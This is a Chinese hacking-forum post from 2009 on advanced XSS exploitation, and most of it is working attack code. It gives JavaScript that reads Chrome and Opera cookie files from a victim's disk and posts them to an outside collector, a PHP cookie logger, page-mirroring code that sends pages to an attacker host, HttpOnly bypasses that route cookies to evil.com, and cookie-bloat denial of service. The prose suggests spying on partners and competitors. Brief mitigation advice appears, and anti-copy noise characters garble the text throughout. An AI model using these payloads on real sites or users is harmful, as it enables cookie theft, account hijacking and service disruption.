XSS的高级利用部分总结 -蠕虫,HTTP-only,AJAX本地文件操作,镜象网页. n# z& h# g- J I/ _. Q8 R
本帖最后由 racle 于 2009-5-30 09:19 编辑
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XSS的高级利用总结 -蠕虫,HTTPONLY,AJAX本地文件操作,镜象网页
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http://bbs.tian6.com/thread-12711-1-1.html3 ?% m6 {- p) a0 i
转帖请保留版权
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-------------------------------------------前言---------------------------------------------------------; k1 ?6 Z7 X6 c: S8 i+ d
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本文将撇开XSS语句,JS脚本,如何无错插入XSS语句,如何过滤和绕过XSS语句过滤,CSRF等知识点.也就是说,你必须已经具备一定XSS知识,才能看懂本文.
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如果你还未具备基础XSS知识,以下几个文章建议拜读:
5 _) _6 l$ v6 @, H. ]) @http://www.lib.tsinghua.edu.cn/chinese/INTERNET/JavaScript/ JavaScript中文简介
4 j. r# N1 o! Jhttp://www.google.com/search?q=XSS+%D3%EF%BE%E4 XSS语句大全
; b% P* N- ~6 jhttp://www.google.com/search?q=XSS+%C8%C6%B9%FD XSS语句绕过/ O2 l: d9 i1 n' G @% e0 h
http://www.80vul.com/dzvul/sodb/03/sodb-2008-03.txt FLASH CSRF3 Q/ H. e6 `! [. ~/ {5 y {& g
http://bbs.tian6.com/thread-12239-1-1.html 突破XSS字符数量限制执行任意JS代码
' o" c) ?: F* T# ?. d9 w* Dhttp://bbs.tian6.com/thread-12241-1-1.html 利用窗口引用漏洞和XSS漏洞实现浏览器劫持- v) f/ _0 Z |- c$ J$ X. Z
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如果本文内容在你眼里显得非常陌生,或者难以理解,或者干燥无味,那正代表你对XSS了解甚少.% `/ r! h. A) [* ^) ~
# V7 a; J/ e2 G% ~7 q希望天阳会员本着技术学习为主的精神,真正的学习和掌握每门安全技术.因此,如果你来天阳是因为你想真正学会一些什么东西的话,请静下心来,看懂,看透,实际测试弄通本文.那么你对XSS的驾驭能力,自然大幅提高.: k1 T. b! p" }2 N9 T8 `
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如果你认为XSS是无足轻重的问题,只不过是常见的一个弹窗,或者你认为XSS作用域狭窄,或者你认为XSS威力微不足道,那么请先看看以下片段:Twitter遭遇疯狂XSS 6次XSS蠕虫版本变化,% { k+ s+ H+ ] Q; K
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Baidu xss蠕虫 感染了8700多个blog.媒体影响力,关注度巨大
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& X$ o0 k0 A+ l) r* [) ?9 T! D7 eQQ ZONE,校内网XSS 感染过万QQ ZONE.
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# R4 W# G J0 z3 G _8 vOWASP MYSPACE XSS蠕虫 20小时内传染一百万用户,最后导致MySpace瘫痪: t$ b' }1 w" R U
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复制代码------------------------------------------介绍-------------------------------------------------------------
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. u$ d, E7 C' A1 `2 `4 \7 q什么是XSS?XSS又叫CSS (Cross Site Script) ,跨站脚本攻击.它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的.XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常呼略其危害性.! | }. k Z" ]3 s
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4 r Q7 S8 [" B! ?! |跨站攻击有多种方式,由HTML语言允许使用脚本进行简单交互,入侵者便通过技术手段在某个页面里插入一个恶意HTML代码——例如记录论坛保存的用户信息(Cookie),由于Cookie保存了完整的用户名和密码资料,用户就会遭受安全损失.当然,攻击者有时也会在网页中加入一些以.JS 或.VBS为后尾名的代码时,在我们浏览时,同样我们也会被攻击到.
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如何寻找,如何绕过各种限制,成功无错的执行XSS代码,我们在这里并不讨论.相关的文章在网上也有很多.
0 T" }/ i9 B! X# b6 k: O复制代码现今XSS替代了SQL-INJECTION,成为web security课题的首位安全问题.XSS已经成为WEB安全的重要课题./ R2 T& J3 X! k0 i' l4 u, q
我们在这里重点探讨以下几个问题:
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1 通过XSS,我们能实现什么?$ \. T, f' n- t
' h5 q5 Q) s/ g8 K% ?; P2 如何通过HTTP-only保护COOKIES. 又如何突破HTTP-only,又如何补救?
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$ N+ }% W* o" v1 j) k; U; u. p6 d! X3 XSS的高级利用和高级综合型XSS蠕虫的可行性?
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9 E! i+ m. c( D0 v( ^- h9 X0 |5 K4 XSS漏洞在输出和输入两个方面怎么才能避免.
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& } L& F; G2 S. m* V------------------------------------------研究正题----------------------------------------------------------
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通过XSS,我们能实现什么?通过XSS,我们可以获得用户的COOKIES等信息,模拟用户本身进行HTTP提交,读取客户端本地文件,欺骗社工.结合以上功能,我们还能写出综合高级蠕虫.
, r7 s' O4 D% Y# u% m+ P5 O复制代码XSS的高级利用与及综合性XSS高级蠕虫:我们主要讨论XSS在不同的浏览器下的权限限制&&XSS截屏;镜象网页,http only bypass(Cross-Site Tracing XST).写出我们自己的高级XSS蠕虫- y, H3 [5 G4 H* L, ?" W( ?
复制代码XSS漏洞在输出和输入两个方面怎么才能避免.
8 O$ x/ Y! l7 J1:为网站各个动态页面分安全等级,划分重点和次重点区域,分等级采用不同的输入限制规则.
* `: }$ w( D. |+ B; Z3 x. v2:严格控制输入类型,根据实际需求选用数字,字符,特殊格式的限制.8 ?. w. \5 Q H* O/ y+ ]' s' \
3:在浏览器端输出时对HTML特殊字符进行了转义,常见采用htmlspecialchars,htmlentities.但是过滤了特殊字符,并不意味就是安全的.很多绕过方法都是争对单纯过滤进行的,譬如URL,8进制,16进制,String.fromCharCode转编码,UBB绕过等.因此应注意每处接受动态输入的代码审计.数据保存在innertxt,标签属性均应处于“”内.
2 L3 ?0 o% i7 J- A! v" _/ o4:Http-only可以采用作为COOKIES保护方式之一.
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(I) AJAX在不同的浏览器下的本地文件操作权限 读取本地的COOKIES,常见的敏感文件如:FTP的INI,etc/shadow,各种第三方应用程序的敏感文件等,并且将内容反馈给攻击者)
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" Z+ F( S' A& h. ^" \我们可以参考空虚浪子心的两篇文章,与及XEYE TEAM的统计信息: 1: ie6可读取无限制本地文件.ie8以及相应版本的trident内核浏览器对ajax本地执行时的权限控制得很死的,看来MS对IE这类安全风险比较重视。(这有一些问题,随后修正!)7 g" J) L% s% ~0 _! U+ K
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5 O# I# b4 |6 Y( E- Y 2: ff 3.0.8及以下版本允许本地执行的ajax访问当前目录下的文件内容。其他目录暂无法访问。
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3: opera9.64及以下版本允许通过指定url为file://协议进行访问;如果文件在当前目录下,则不需要指定file://协议;如果文件在同一盘符下甚至可以超越目录的方式访问:../../boot.ini。/ S3 d3 J2 j3 [0 z, ^# r
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6 v; t. k$ N7 J5 {% |5 O5 H+ ] 4: 基于webkit内核:google chrome、遨游3.0、safari等浏览器对本地执行的ajax权限没做任何访问限制.3 m m5 q4 I1 D: B% B3 c6 c
复制代码IE6使用ajax读取本地文件 <script>. j# ~6 ~! ^9 d- R
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function $(x){return document.getElementById(x)}
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request = new XMLHttpRequest();
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'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
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request = new ActiveXObject(versions);" q' `8 L/ @! ? ~" z* ]
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return request;$ V) B/ d% t. T' U2 v$ N- c
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function _7or3(_m,action,argv){6 Q: L. K4 k; P8 W# L
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_x.open(_m,action,false);6 X4 g9 [% \+ c$ A
1 S9 Y/ W3 ?) {& U if(_m==" OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
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return _x.responseText;/ F) ?! s! T4 n/ ?. O
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var txt=_7or3("GET","file://localhost/C:/11.txt",null);/ Z l" ]# m* Y: {2 i2 Z' E) G! R" K
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alert(txt);
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</script>
% G) N( R* G) ?( r( B) D复制代码FIREFOX 3使用ajax读取本地文件,仅能读取同目录,及其下属目录下文件. <script>9 E& j1 N8 l6 R7 [8 B" ~/ ^4 |
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function ajax_obj(){: a+ w" I- b, |& C/ D, Q7 B: I
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var request = false;7 z" a( P) g9 e8 |# R4 l
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if(window.XMLHttpRequest) {) O" i0 A" U6 R& Z9 B$ Z, w6 K. M0 _
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request = new XMLHttpRequest();
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var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',
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& a: H V% f. r6 ?3 q f7 ? 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];; p. h g& d5 ] h. B( a" Q( W
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( S% o$ |5 E; T1 W) Y* | try {
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request = new ActiveXObject(versions);( w* j3 j m9 }. f' r
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} catch(e) {}* G2 {4 [) ]: H1 V
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}; c+ k: Q8 p! g# i' @
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}
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return request;
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+ W. e: E( r l% y$ y* ]) O# y var _x = ajax_obj();# k. B5 _; [9 k# U( Z8 N }
. t" W: W7 ~: y& P) f function _7or3(_m,action,argv){
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_x.open(_m,action,false);0 ~- O$ f8 S% W1 ?, E1 j$ g% J5 e
0 N4 \' |1 l' R! K5 c: b0 Z if(_m==" OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");6 `6 I$ C7 w2 W9 f" f# i7 G1 V
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_x.send(argv);
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& A6 L0 r* A5 q return _x.responseText;
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var txt=_7or3("GET","1/11.txt",null);3 I; N' o; h7 Q* K+ L+ p7 s
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</script>: s, X& j5 g- \! d8 b' O
复制代码Google Chrome使用ajax读取本地文件Chrome的cookie默认保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\Cookies”6 \" H% ?8 t- N8 J+ x, }6 u
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. P1 d$ k% v5 T( H- ~8 X& tChrome的历史保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\History"( Y8 O% r, m8 y% Y* e
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! n4 R8 R- _, ~* T9 b8 W5 F/ S( y Chrome 1.0.154.53 use ajax read local txt file and upload exp
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www.inbreak.net 8 ]6 }5 L, ~; w/ U/ }3 B# h
& X+ Q) E; X1 J author voidloafer@gmail.com 2009-4-22
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http://www.inbreak.net/kxlzxtest/testxss/a.php get cookie and save.
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*/ ( g7 F: h" x6 O* M3 Q2 {
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header("Content-Disposition: attachment;filename=kxlzx.htm");
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* f& f. W0 A8 hheader("Content-type: application/kxlzx");
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/*
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set header, so just download html file,and open it at local.
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*/
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?>
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5 i8 L( ~ W- i3 j" `<form id="form" action="http://www.inbreak.net/kxlzxtest/testxss/a.php" method=" OST">
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<input id="input" name="cookie" value="" type="hidden">
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</form> 7 @) I3 T4 J* @
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<script> - e3 C5 H9 n: @8 p* b' H
v( e) C. J6 P- l* Wfunction doMyAjax(user)
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{
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var time = Math.random();
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/*
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the cookie at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\Default w P) g& V. u. S8 w4 J
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and the history at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\History / X- c' z; N/ b+ O: |. U
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and so on...
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*/ : S2 H- b6 R% |9 W
. P8 D |4 n* r8 g4 Yvar strPer = 'file://localhost/C:/Documents and Settings/'+user+'/Local Settings/Application Data/Google/Chrome/User Data/Default/Cookies?time='+time;
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startRequest(strPer); ~# |8 Q4 z' i! j$ J. x1 q
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}
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# n& K) J- _8 g) V; H + K+ \* p- v( d* x1 j
( l5 s$ A+ p( K" rfunction Enshellcode(txt) + @' l8 [0 u3 R; r( q* M
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{ 2 `/ @! j/ r/ T- c9 Q1 j
! F6 Z) q1 {/ m8 M, ]# jvar url=new String(txt); # M9 s+ |5 C' c+ P" g; Z
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var i=0,l=0,k=0,curl="";
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( V( `( X2 J# j, nl= url.length;
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for(;i<l;i++){ 6 |( e, Q' [# Y: e% y6 m- F
6 i/ i# {: m7 M6 Y& dk=url.charCodeAt(i);
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if(k<16)curl+="0"+k.toString(16);else curl+=k.toString(16);} 9 I8 v* o- x; |5 Q2 q- s5 x# N/ ^
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if (l%2){curl+="00";}else{curl+="0000";}
4 }% v% z, R" x% R2 D* v% [3 \5 {) r) N5 l+ ] W
curl=curl.replace(/(..)(..)/g,"%u$2$1"); & j0 G7 Z' X4 }4 _/ U- L' S, `
; \3 K4 j0 V5 _& Xreturn curl;
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} / R/ z( r, M+ E. e& \ T
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$ w+ {* w% R, u: M* T y8 C6 u/ |. H9 T& Y
1 Z7 h) O0 x8 y! x6 m
7 l. t1 R# v, o- K4 ^var xmlHttp;
6 f2 z) A4 K8 f) Z& [+ d
$ Q Q5 j' s& ^* Jfunction createXMLHttp(){ % F0 `# }( x5 }
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if(window.XMLHttpRequest){ * k# K$ M0 r" \0 _3 ~6 P
" D0 h# G. H, m3 mxmlHttp = new XMLHttpRequest();
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} ( a6 e6 B; j& ]/ L6 V s
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else if(window.ActiveXObject){ 1 D3 P* H; t9 `" J8 f
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xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
, P3 D% J9 g# s) }
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p' F) u0 t! V! u# |# ?! N1 Q5 ~2 H$ w \5 h9 h5 T5 B
} * ~' ^3 h8 C% q, y& y% S
8 B$ f3 ^) l" [* P+ @ ' C, h, W7 m0 ?6 B1 Q; V' I- h
- w) i: d2 V. Q1 t! y$ R% j. J" {function startRequest(doUrl){ 5 @! \0 I! d7 W
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' j% ]3 p& ?# \/ ~3 y+ c
createXMLHttp(); 3 n& X) ?7 J! N
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4 Q0 v$ e' s. p. P8 Z* n8 w" o
xmlHttp.onreadystatechange = handleStateChange;
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/ Y. B H/ B& d+ [" [ xmlHttp.open("GET", doUrl, true); # F; C3 a8 q4 Q& j: q: D/ J
* |1 u! c* e( V* b+ g$ Y
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8 o+ d: n" f6 G. i0 I } xmlHttp.send(null);
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4 L$ S$ S+ ^8 S; e0 Z} 4 \+ f3 x7 T$ f. @% b) Q' s
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/ ~4 ~/ Q, W! X( ~- d) k5 |. ]* K; [6 m. B. v3 h* ^1 F: r
function handleStateChange(){ * t3 h8 O+ |1 I+ U. K
: x6 b0 F" W8 R4 u. b; n! V if (xmlHttp.readyState == 4 ){
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var strResponse = "";
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setTimeout("framekxlzxPost(xmlHttp.responseText)", 3000);
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+ K4 S( M) Y) E6 Y- t/ I1 H
} + j* `, G7 o! o r1 }/ [. T( n z
. j2 ^! x2 B* L& s4 {
} 9 _; ~, d0 W$ E9 X
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function framekxlzxPost(text) ( \4 e$ ]) R" V+ f7 E. v
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document.getElementById("input").value = Enshellcode(text);
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document.getElementById("form").submit();
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- S5 \8 m6 X$ @4 X; C}
+ P4 G; ~( _1 @# I9 o0 B1 r; _: j- w/ c
$ a I/ ]; J: n- h
+ x# {0 \3 v9 {2 NdoMyAjax("administrator"); , _6 \" H5 w( E# j
) @9 g, Y0 R6 T: g8 x( X4 p: ]$ _
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0 ^% ?& a4 t q2 R8 h V0 G/ [</script>* \3 {: e+ F1 Z) E# I( \
复制代码opera 9.52使用ajax读取本地COOKIES文件<script>
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var xmlHttp;
" [- Z) \6 i3 ^' s) e. t" u$ u/ p5 K, F! @
function createXMLHttp(){ * @0 w' h! N& K. k! w' Y+ ^
+ O; T$ Z: O7 q if(window.XMLHttpRequest){
: C" U; k2 x1 q# ~' R O' g2 y2 |" A1 y2 v# R l
xmlHttp = new XMLHttpRequest(); ) N) f. q) _ b O+ a0 l" X" w8 L
# n) ^" I" ~% W+ ]& K
}
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else if(window.ActiveXObject){ % h; f2 ?' g2 _6 R3 x
! H* Z$ f8 P& m H9 a& Q xmlHttp = new ActiveXObject("Microsoft.XMLHTTP"); ; y( s6 S3 J. ^
# R/ k: B" | e; V$ ~ } 5 C( O9 _- G, J
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4 M% z0 v$ M7 R- v) t5 w
' h+ m' `" I" V; K- D 9 ^7 ?6 o+ H9 B2 v4 L; r
5 t& f1 E" n8 X8 Ofunction startRequest(doUrl){
2 r! Y, p% p t! m
8 \8 t3 w1 q5 n2 u9 s
2 r+ a, T: N" B$ |& @+ q# m: `. \
+ r7 c! C ^! F8 E7 A" C createXMLHttp(); 2 m4 Z$ H9 h* e
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+ U, @% I9 q G+ p% O' ]7 d$ L! N! T- Z1 c
xmlHttp.onreadystatechange = handleStateChange; $ Z7 J9 A" i4 e* q; i
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xmlHttp.open("GET", doUrl, true); ' F. L) O- i4 Y4 }$ B; p5 @8 k
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xmlHttp.send(null);
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} . Z$ _2 J+ q( t0 \+ c( T
+ I" j w) s7 Y* ?7 J- e
8 Q) ?% Y' A. N" J! n7 k, S/ x8 P- P$ `- @
function handleStateChange(){
7 L- B* O, N' Z( a% a3 o! D- M! N
2 A2 N; ]( S7 Y9 s if (xmlHttp.readyState == 4 ){
X' J. Z- D) t, b6 ?# {- d/ M
3 ]9 a: D; m0 Y- y9 Y4 I" k2 a var strResponse = "";
& @" p* e+ {# V. l& f0 D+ m0 S Z5 I
setTimeout("framekxlzxPost(xmlHttp.responseText)", 1000);
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}
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& Q. B/ q! w3 x% d} 4 n! z3 m: N1 A6 L9 l/ J6 j' v
8 V4 t( ?6 n k5 }8 ]
5 q& U7 n) G8 y) Y, |/ V3 Y
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function doMyAjax(user,file)
6 [& F1 N C; t" m1 l4 G5 S( I# v& |: M( M* ]$ z. i$ V
{ , l$ a# s$ _/ y, J9 @% B1 Z% O% t1 Z
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var time = Math.random(); 1 W. {* b1 B/ N$ _
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1 T) d5 {! m s* t( \& L$ n/ M
/ k7 l; | ]1 g* |" a var strPer = 'file://localhost/C:/Documents%20and%20Settings/'+user+'/Cookies/'+file+'?time='+time;
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* B- r# R7 h3 |
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. O( s9 G% S+ i: J7 p% b startRequest(strPer);
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; O, ^" V5 J1 g s' {4 s! I& D' r" o4 s}
+ D- m6 h; I8 A- z# D6 r& f! q( A$ |% I
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0 m4 \" G! } z2 J) s E9 A8 O0 H
function framekxlzxPost(text)
h9 k3 [) \% K" t' ~/ m9 Y
; r, D- ^* {) r6 _1 `4 K; w{
U, Z0 r: {) x$ H* p/ ?! f2 L4 ?! `8 a+ c, V4 x+ S* e" R( F; h t
document.getElementById('framekxlzx').src="http://www.inbreak.net/kxlzxtest/testxss/a.php?cookie="+escape(text);
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, S. }2 V2 B: X4 }- F% h5 I+ J alert(/ok/);
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$ g' d8 V5 X6 s8 @5 o}
3 a- J$ T$ e/ m$ w5 I8 h6 D: e! u* R! B% B) {
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doMyAjax('administrator','administrator@alibaba[1].txt');
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8 |; _& s% J6 N3 s$ `; |* q; f</script>; c/ v9 R% ~% m, \# F. l
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8 C! O- z( O4 qa.php
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<?php ) C2 t& h) Y ]0 w) W4 Q
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$user_IP = ($_SERVER["HTTP_VIA"]) ? $_SERVER["HTTP_X_FORWARDED_FOR"] : $_SERVER["REMOTE_ADDR"]; 6 k2 r& K& X& }) j, W$ ?
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$user_IP = ($user_IP) ? $user_IP : $_SERVER["REMOTE_ADDR"]; . x o0 C9 ] t$ h
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% ]9 U+ u$ D1 u: y. u& Q; _3 X1 J4 m! I ?. G8 N; x) B+ X* d9 \ O8 K) }7 Z
$fp = fopen($user_IP.date("Y-m-d H:i:s")."cookie.txt","wb");
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fwrite($fp,$_GET["cookie"]);
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fclose($fp); 1 |9 ?( u$ i4 u
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?> 7 A$ B" F" x5 U! _9 B; D
复制代码(II) XSS截屏-镜象网页与XSS实现DDOS:. r3 D* X6 q$ n' w) D+ h
: u0 C1 A) b7 p7 z* d7 i
或许你对你女朋友的校内网里的好友列表感兴趣,又或者你对你的客户部竞争对手的电话通信记录感兴趣,那么这个由XEYE TEAM提出的新想法,对你就有用.
7 }" a5 p6 Y! G* C( b利用XSS获得指定的受控者授权状态下的页面源代码,再传发到目标页面,处理好相对路径,那么攻击者就能截取任意一个受控端的授权状态下的镜象网页.达到类似远程控制程序截屏的功能.3 i/ w! G7 T' o! Z0 I9 a
' B/ h" j) e" j* r代码片段://xmlHttpReq.open("GET","AWebSiteWhichYouNeedToCatch.com",false);
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/ B* U2 i1 m# i2 W# {( J" _, I6 y//xmlHttpReq.open("GET","http://friend.xiaonei.com/myfriendlistx.do",false);2 I; @6 Y' E# U7 E: `
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//xmlHttpReq.open("GET","http://chinatelecom.com/mylistofnopermonth.jsp?no=139xxxxxxxx",false);
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2 z3 R! u9 f- ufunction getURL(s) {# K4 [4 ~" G$ f* w( J7 u( g! L9 o6 J
; @9 U1 r" y4 A' svar image = new Image();
$ O/ O0 [* K" o9 i$ ^3 Y3 ?/ p& H6 I/ v
image.style.width = 0;" x2 S4 h: I7 u' O* G; X
! |, A. Y% I% G- o/ W0 Fimage.style.height = 0;$ O/ P' K- P; w. v1 x7 m6 U3 e
* z& k2 Y1 F. I. L) E( p
image.src = s;
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}: N4 W" w) U9 x: C: a! M8 \. G0 y
' v+ Q; }2 i7 n9 x, igetURL("http://urwebsite.com/get.php?pagescopies="+xmlHttpReq.responseText);$ @' g: i& C- p) x; C6 S& f
复制代码XSS也能大材小用DDOS? 利用XSS操作COOKIES,导致HEADER部分过大,引发IIS或APACHE等服务端CRASH或者拒绝响应.生效时长与COOKIES允许保存时间相等.# I. j) J4 S: D& O" P
这里引用大风的一段简单代码:<script language="javascript">
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* j: O1 n0 z% p7 Y$ wvar metastr = "AAAAAAAAAA"; // 10 A
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var str = "";
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3 d. M6 l$ ]' K% iwhile (str.length < 4000){: E2 s) R# S" V5 W5 n
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str += metastr;
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: d) c8 x' P) Y; q: A! h}
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document.cookie = "evil3=" + "\<script\>alert(xss)\<\/script\>" +";expires=Thu, 18-Apr-2019 08:37:43 GMT;"; // 一些老版本的webserver可能在这里还会存在XSS
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</script>
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详细代码请看:http://hi.baidu.com/aullik5/blog ... aeaac0a7866913.html/ ?+ q! t. l3 x8 T! r
复制代码如果你觉得XSS用来DDOS太可惜的话,这里也提供另外一篇文章供你参考,随与XSS无关,但是却也挺有意思.
: ?: D; E! P* ?% @5 yserver limit ddos利用随想 - 空虚浪子心 http://www.inbreak.net/?action=show&id=150
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假设msn.com出现了问题,被XSS了.并且攻击者把COOKIES 设置成yahoo.com的.那么所有访问msn.com的用户将无法访问yahoo.com.
# d: a( N- e- {4 K攻击者在自己的网站上iframe了server limit ddos,目标设置为竞争对手myass.com,那么所有访问过攻击者网站的人,将无法访问其同行竞争对手myass.com的网站,这样不很妙么?呵呵.
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(III) Http only bypass 与 补救对策: I' t# D" N5 R0 A4 F5 J& n8 D
. t; n" ?$ {5 F* G! O( f9 i什么是HTTP-ONLY?HTTP-ONLY为Cookie提供了一个新属性,用以阻止客户端脚本访问Cookie.
% j2 Y! Z" ~, Y% K+ M以下是测试采用HTTPONLY与不采用时,遭受XSS时,COOKIES的保护差别。<script type="text/javascript">7 F% V' ?2 k0 b8 h, p3 A
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<!--
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+ w2 K7 s; Y; s+ F) I3 n0 A4 bfunction normalCookie() {
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0 k; p& z2 I8 e7 {& L8 j Ddocument.cookie = "TheCookieName=CookieValue_httpOnly"; . n* A7 ^9 Q% z( A; |# z+ a
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alert(document.cookie);1 x& B; {0 w/ P/ s) y6 ?( \- I* c
8 \/ Q( x2 D* Q1 d* ]# }) Y# o}
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8 J- V; `, ^5 H. Q2 Q: }# p; u$ o
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7 A1 ]. G* |7 F4 A2 m8 Y2 Wfunction httpOnlyCookie() { 2 b; p: c! ]/ ^3 Z8 O) Z' I
/ N2 c4 \, v& C& n0 rdocument.cookie = "TheCookieName=CookieValue_httpOnly; httpOnly"; # u; ~5 K) ]0 s' Z1 o5 H8 O
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alert(document.cookie);}3 h7 N. T9 {% |6 k
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( Y+ l4 G6 F& B4 ]0 w
& |3 h- G' L$ {& z5 A0 ^//-->
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</script>6 t3 o( u: c. w% d# x4 @: c, c
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' D* t, t7 T" Y% Z" T& H<FORM><INPUT TYPE=BUTTON OnClick="normalCookie();" VALUE='Display Normal Cookie'>7 W$ T1 q3 V3 d' \6 H7 h
: P9 |0 P+ m. X4 i<INPUT TYPE=BUTTON OnClick="httpOnlyCookie();" VALUE='Display HTTPONLY Cookie'></FORM>
! _! I t8 d, p- o J4 ?复制代码但是采用HTPPONLY就安全了吗?不一定.采用TRACE获得HEADER里的COOKIES:<script>/ W6 a8 Q# \! J g5 W
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var request = false;( I: D$ O5 D8 k/ l8 L
1 q" O. ]6 T/ `/ [+ a if(window.XMLHttpRequest) {
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request = new XMLHttpRequest(); ]1 D; ]9 l, W' [
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if(request.overrideMimeType) {& i/ F& c' D( O* z( O5 I5 w3 M
Q4 v& a% W0 V$ J4 W* w( |0 V5 z request.overrideMimeType('text/xml');
6 {# G1 L% v% ]6 F
$ y( L3 O. ^) G; `& E' C }
- ^( d7 J+ u6 j
1 L2 b- i# z* A4 k } else if(window.ActiveXObject) {
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var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
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for(var i=0; i<versions.length; i++) {0 i; n6 z# Z: p/ C% `( q- d2 J
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try {6 j% g# R8 Q" [$ Q! f/ D
* T7 Z' V) r8 Z3 K! Q request = new ActiveXObject(versions);
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/ U. Z' g/ n6 T# m3 {, c } catch(e) {}( A! m- I* {! `! i- `; e F( V7 I5 C
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xmlHttp=request;! s2 O3 Z# i& M: t
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xmlHttp.open("TRACE","http://www.vul.com",false);
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# H) e0 O b* g/ nxmlHttp.send(null);6 Z: J9 s! I% u- T4 q8 F4 _/ |% y! Q
- b0 s3 M! W6 |" L$ x r
xmlDoc=xmlHttp.responseText;! l) o3 `' `) r3 C9 \
& x' c- R, F6 W+ ialert(xmlDoc);
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6 V( {5 ]& v; p+ r& x3 U9 h</script>
% f$ m/ r: h. b复制代码但是许多网站并不支持TRACE调试命令,那么我们还可以通过访问phpinfo();页面,筛选带有COOKIE的字段值.<script>
# A/ z$ k7 J6 M! L/ W. {1 a# ^& q' y/ o3 f7 H
var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");# {: o7 Y% h5 O: U) T3 P: O& f7 r
2 {3 S( b) f6 w% ~& WXmlHttp.open("GET","http://www.google.com",false);
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8 r: H# y; E, hXmlHttp.setRequestHeader("Host","www.evil.com/collet.php");$ Z$ F9 E# m# x! D, {4 `- \
0 a# g, Y) Z0 H- q7 e' U1 s' d7 cXmlHttp.send(null);- a3 @0 j" |: N, f) \7 }, o# I1 ^5 _
, h7 Q2 Q6 k: l8 q: {9 ]
var resource=xmlHttp.responseText
# N0 s3 }# b: f" D% T& g7 T1 { ^2 ?- Y, }) @" g6 _1 M& e
resource.search(/cookies/);6 [$ k( n! H' B4 w6 \. s
8 |# k2 R$ @# x1 O% k6 d
......................
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8 ]2 N( E' j6 ~' w8 Z. J/ x* X2 T# n</script>
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# O+ v7 T% I. o) \/ H如何防止对方采用TRACE访问你的网站?APACHE可以采用.htaccess来Rewrite TRACE请求+ L9 ] P1 e4 E1 x# b& J
; ?6 @2 c3 F+ E0 H m[code]' `8 C* N+ `4 r, u' [
. n. h! B& J( c# F) O& R/ c5 b6 IRewriteEngine On
9 ~1 q$ B0 f# l7 Y1 F) O. o% ]) Y: }- _# [
RewriteCond %{REQUEST_METHOD} ^TRACE" S; s, Q: p! [2 N
7 _5 o9 r" E u+ O9 X5 lRewriteRule .* - [F]
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- P" t9 P6 L" l0 r6 t, x. A8 Q% \( O! s) T& T# `
Squid可以添加以下信息到Squid configuration file (squid.conf),屏蔽TRACE请求$ d/ }" t- q& {, G4 j7 P
6 @: P; k0 m6 S- i6 v$ kacl TRACE method TRACE
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7 [. }' J6 Z! V, K! [) w... r# K( I E' F+ [/ m8 O5 y+ k
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http_access deny TRACE
3 ^! E; J6 D+ C, Q) v+ L0 s复制代码突破还可以采用XmlHttp.setRequestHeader.通过setRequestHeader,把COOKIES等信息转向到目标页面.<script>* k" l( `. O6 ~$ y, L' |& k
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var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");. z1 O* `& ]% N7 B0 I
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XmlHttp.open("GET","http://www.google.com",false);$ Q- E% F; C* m4 H& u$ o. d
: k+ @. A$ `* i) T( d pXmlHttp.setRequestHeader("Host","www.evil.com/collet.php");4 k; L" K' j' s* C1 c. H
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XmlHttp.send(null);7 h" _4 ]8 z' S$ z
6 J5 Y& u/ k2 U4 o- ~, v- F+ p</script>: ?4 P$ J& p2 d9 K6 q
复制代码当Apache启动了mod_proxy,还可以使用proxy方式作为中间人方式获得受保护COOKIES.<script>
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% n8 {. F2 X1 C, A Gvar XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");8 k+ E: U; ~- D) q& z* _$ G3 g3 C0 a
$ _; H4 ?8 a5 M. Q
# q6 Q+ S9 l: o& A1 M+ J3 K* {# Q7 r3 k+ X% H/ B6 F
XmlHttp.open("GET\thttp://www.evil.com/collet.php","http://www.vul.site/wherever",false);
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?/ N# R. t- l9 }8 k, XXmlHttp.send(null);
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<script>- H. {5 ^) D( d' z5 P: v n) v
复制代码(IV) 综合性的高级XSS蠕虫:什么是XSS蠕虫,他的实现,传染,工作原理,常见作用都是什么.
1 p" I* J! r. P9 w; R5 l& K: `复制代码案例:Twitter 蠕蟲五度發威6 M% z0 S/ p0 e: _" v
第一版:
( A! ]$ C. X+ e+ f- r' s$ n 下载 (5.1 KB)
9 ~) p8 K! |3 R# ^
$ E8 ^% |7 B+ S/ F/ z6 天前 08:27
